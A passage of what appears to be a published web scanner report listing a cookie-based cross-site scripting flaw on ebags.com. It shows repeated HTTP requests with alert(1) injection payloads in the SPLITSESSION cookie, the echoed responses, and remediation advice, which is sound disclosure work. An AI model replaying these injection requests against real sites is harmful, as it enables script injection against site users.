GET /department/wallets-and-accessories HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C48e43'%3balert(1)//f8f1500fa15; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:08:57 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:08:57 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 69049
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1h/ ...[SNIP]... <script type="text/javascript"> FSR.CPPS.set('SourceID','XSEOGOOG01'); FSR.CPPS.set('Splitsession','STT=ST1|TAT=TT2|48e43';alert(1)//f8f1500fa15'); FSR.CPPS.set('IPAddress','174.121.222.18'); </script> ...[SNIP]...
The value of the SPLITSESSION cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 23d8c'%3balert(1)//86e4ede313a was submitted in the SPLITSESSION cookie. This input was echoed as 23d8c';alert(1)//86e4ede313a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /help/ HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C23d8c'%3balert(1)//86e4ede313a; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:05:18 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:05:18 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 47097
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1h/ ...[SNIP]... <script type="text/javascript"> FSR.CPPS.set('SourceID','XSEOGOOG01'); FSR.CPPS.set('Splitsession','STT=ST1|TAT=TT2|23d8c';alert(1)//86e4ede313a'); FSR.CPPS.set('IPAddress','174.121.222.18'); </script> ...[SNIP]...
The value of the SPLITSESSION cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload fa928'%3balert(1)//fd765d25104 was submitted in the SPLITSESSION cookie. This input was echoed as fa928';alert(1)//fd765d25104 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /help/index.cfm HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7Cfa928'%3balert(1)//fd765d25104; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:04:55 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=BECOME01%24COUPONID%3D40959822CB96B272DALERT281292D27C04ABDB9AA2; expires=Sun, 02-Jan-2011 14:04:55 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 47147
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1h/ ...[SNIP]... <script type="text/javascript"> FSR.CPPS.set('SourceID','BECOME01$COUPONID=40959822CB96B272DALERT281292D27C04ABDB9AA2'); FSR.CPPS.set('Splitsession','STT=ST1|TAT=TT2|fa928';alert(1)//fd765d25104'); FSR.CPPS.set('IPAddress','174.121.222.18'); </script> ...[SNIP]...
The value of the SPLITSESSION cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 38804'%3balert(1)//6fc875325e3 was submitted in the SPLITSESSION cookie. This input was echoed as 38804';alert(1)//6fc875325e3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /info/Compare/index.cfm?fuseaction=chart&similarchart=120830 HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C38804'%3balert(1)//6fc875325e3; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:19:26 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:19:26 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 56217
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1 ...[SNIP]... <script type="text/javascript"> FSR.CPPS.set('SourceID','XSEOGOOG01'); FSR.CPPS.set('Splitsession','STT=ST1|TAT=TT2|38804';alert(1)//6fc875325e3'); FSR.CPPS.set('IPAddress','174.121.222.18'); </script> ...[SNIP]...
The value of the SPLITSESSION cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5278b'%3balert(1)//284b3efccf0 was submitted in the SPLITSESSION cookie. This input was echoed as 5278b';alert(1)//284b3efccf0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /info/Compare/index.cfm HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C5278b'%3balert(1)//284b3efccf0; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response (redirected)
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:18:56 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:18:56 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 74993
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1h/ ...[SNIP]... <script type="text/javascript"> FSR.CPPS.set('SourceID','XSEOGOOG01'); FSR.CPPS.set('Splitsession','STT=ST1|TAT=TT2|5278b';alert(1)//284b3efccf0'); FSR.CPPS.set('IPAddress','174.121.222.18'); </script> ...[SNIP]...
The value of the SPLITSESSION cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 82ed8'%3balert(1)//b6b1b7aa098 was submitted in the SPLITSESSION cookie. This input was echoed as 82ed8';alert(1)//b6b1b7aa098 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /members/index.cfm HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C82ed8'%3balert(1)//b6b1b7aa098; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:03:44 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:03:44 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 45788
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1h/ ...[SNIP]... <script type="text/javascript"> FSR.CPPS.set('SourceID','XSEOGOOG01'); FSR.CPPS.set('Splitsession','STT=ST1|TAT=TT2|82ed8';alert(1)//b6b1b7aa098'); FSR.CPPS.set('IPAddress','174.121.222.18'); </script> ...[SNIP]...
The value of the SPLITSESSION cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b5aad'%3balert(1)//8dbc73dd980 was submitted in the SPLITSESSION cookie. This input was echoed as b5aad';alert(1)//8dbc73dd980 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /product/case-logic/sony-psp-game-case/120830 HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7Cb5aad'%3balert(1)//8dbc73dd980; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:03:17 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=BECOME01%24COUPONID%3D40959822; expires=Sun, 02-Jan-2011 14:03:17 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 75685
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1h ...[SNIP]... <script type="text/javascript"> FSR.CPPS.set('SourceID','BECOME01$COUPONID=40959822'); FSR.CPPS.set('Splitsession','STT=ST1|TAT=TT2|b5aad';alert(1)//8dbc73dd980'); FSR.CPPS.set('IPAddress','174.121.222.18'); </script> ...[SNIP]...
The value of the SPLITSESSION cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 572d1'%3balert(1)//35c9cbd0d5 was submitted in the SPLITSESSION cookie. This input was echoed as 572d1';alert(1)//35c9cbd0d5 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /products/index.cfm HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C572d1'%3balert(1)//35c9cbd0d5; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response (redirected)
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:17:56 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:17:56 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 74990
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1h/ ...[SNIP]... <script type="text/javascript"> FSR.CPPS.set('SourceID','XSEOGOOG01'); FSR.CPPS.set('Splitsession','STT=ST1|TAT=TT2|572d1';alert(1)//35c9cbd0d5'); FSR.CPPS.set('IPAddress','174.121.222.18'); </script> ...[SNIP]...
The value of the SPLITSESSION cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 40fea'%3balert(1)//640b3c4d3a9 was submitted in the SPLITSESSION cookie. This input was echoed as 40fea';alert(1)//640b3c4d3a9 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /products/view/ZoomColorsViews.cfm?fuseaction=imagePop&ModelID=120830&ipsid=120830_3_1 HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C40fea'%3balert(1)//640b3c4d3a9; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:17:45 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:17:45 GMT; path=/ Cache-Control: private Content-Type: text/html; charset=UTF-8 Content-Length: 9160
<!doctype html public "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <link rel="stylesheet" href="/style_IE.css" type="text/css"> <script language="JavaScript" type="text/javascript"> v ...[SNIP]... <script type="text/javascript"> FSR.CPPS.set('SourceID','XSEOGOOG01'); FSR.CPPS.set('Splitsession','STT=ST1|TAT=TT2|40fea';alert(1)//640b3c4d3a9'); FSR.CPPS.set('IPAddress','174.121.222.18'); </script> ...[SNIP]...
The value of the SPLITSESSION cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4928f'%3balert(1)//901a0f6a2f6 was submitted in the SPLITSESSION cookie. This input was echoed as 4928f';alert(1)//901a0f6a2f6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /rewards/index.cfm HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C4928f'%3balert(1)//901a0f6a2f6; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:04:10 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:04:10 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 43433
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1h/ ...[SNIP]... <script type="text/javascript"> FSR.CPPS.set('SourceID','XSEOGOOG01'); FSR.CPPS.set('Splitsession','STT=ST1|TAT=TT2|4928f';alert(1)//901a0f6a2f6'); FSR.CPPS.set('IPAddress','174.121.222.18'); </script> ...[SNIP]...
The value of the SPLITSESSION cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 83e1c'%3balert(1)//6f77a7517bf was submitted in the SPLITSESSION cookie. This input was echoed as 83e1c';alert(1)//6f77a7517bf in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
